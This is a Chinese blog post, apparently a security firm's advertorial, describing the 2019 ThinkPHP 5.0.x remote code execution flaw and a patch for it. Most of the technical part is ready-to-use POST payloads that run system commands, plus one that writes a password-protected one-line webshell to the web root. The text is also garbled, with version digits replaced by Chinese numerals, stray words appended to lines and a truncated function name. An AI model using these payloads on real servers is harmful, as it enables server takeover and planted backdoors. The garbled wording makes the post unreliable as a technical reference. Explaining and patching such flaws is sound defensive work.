分類專欄: 網站被篡改 網站安全服務 如何防止網站被侵入 如何防止網站被掛馬 如何防止網站被黑 怎麼查找網站漏洞 web網站安全服務 網站***檢測 ecshop漏洞修復 MetInfo漏洞修復 網站安全檢測 ecshop網站安全修補 文章標籤: 網站有漏洞怎麼解決 網站漏洞怎麼修復 有網站漏洞怎麼辦 如何解決網站漏洞
版權
2019年1月14日消息,thinkphp又被爆出致命漏洞,能夠直接遠程代碼執行,getshell提權寫入網站***到網站根目錄,甚至直接提權到服務器,該漏洞影響版本ThinkPHP 5.0、ThinkPHP 5.0.十、ThinkPHP5.0.十二、ThinkPHP5.0.1三、ThinkPHP5.0.2三、thinkphp 5.0.22版本。php
***者能夠僞造遠程惡意代碼,對服務器進行post提交數據來利用漏洞,該漏洞產生的緣由是繼上次2019元旦先後爆出的網站漏洞後,又一次的致命漏洞。在thinkphp目錄下的library文件夾下的think\request.php代碼。以下圖所示:
web
從上述代碼中能夠看出整個代碼寫的流程,首先打開網站會從app.php代碼裏將請求的網站地址使用check來進行解析,而後再通過patch類型對其進行深度的賦值.而後可使用post方式提交數據到_method函數當中去,框架會對進行判斷,而後對其調用傳入的參數值,通過整個代碼的循壞以及傳入,就能夠致使request的值給覆蓋掉,從而產生遠程代碼執行,咱們來構造惡意的代碼,看看漏洞是如何使用的。thinkphp
post地址:anquan/public/index.php?s=captchashell
POST內容:c=system&f=whoami&_method=filter安全
直接遠程提交過去就會執行咱們的命令 whoami。查看返回的post數據就能夠看到咱們要看的服務器
信息。
app
在總體的全部版本中測試,thinkphp必須開啓debug模式才能夠寫入webshell,寫入的執行代碼是:_method=construct&filter[]=assert&filter[]=file_put_contents('0.php',_decode框架
('JTNDJTI1ZXZhbCUyMHJlcXVlc3QlMjAlMjglMjJwYXNzJTIyJTI5JTI1JTNF'))&server=-1 寫入的是一句話***,鏈接密碼是pass.ide
有些低版本的網站,能夠不使用captcha參數也但是執行遠程代碼,代碼以下:_method=__construct&filter[]=system&method=GET&get[]=whoami函數
_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo
_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
以上三個都是能夠執行遠程代碼的。
儘快升級thinkphp到最新版本,有一些網站可能不方便升級,也能夠對代碼的文件進行修復,漏洞代碼是library/think/Request.php對該代碼的526行,527行進行添加設置白名單機制,對請求過來的數據,以及接收的數據進行安全限制。if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {$this->method = $method,網站程序代碼的安全很重要,若是網站使用了開源的CMS系統代碼,不懂程序技術的話,網站會常常被******,若是本身懂程序,那就能夠本身針對代碼的漏洞進行漏洞修復,不懂的話,就請專業的網站安全公司來完善一下程序上的某些代碼漏洞,國內像SINE安全、綠盟安全、啓明星辰都是比較專業的安全公司,不少***之因此能植入***病毒,就是抓住了這些網站代碼上的漏洞。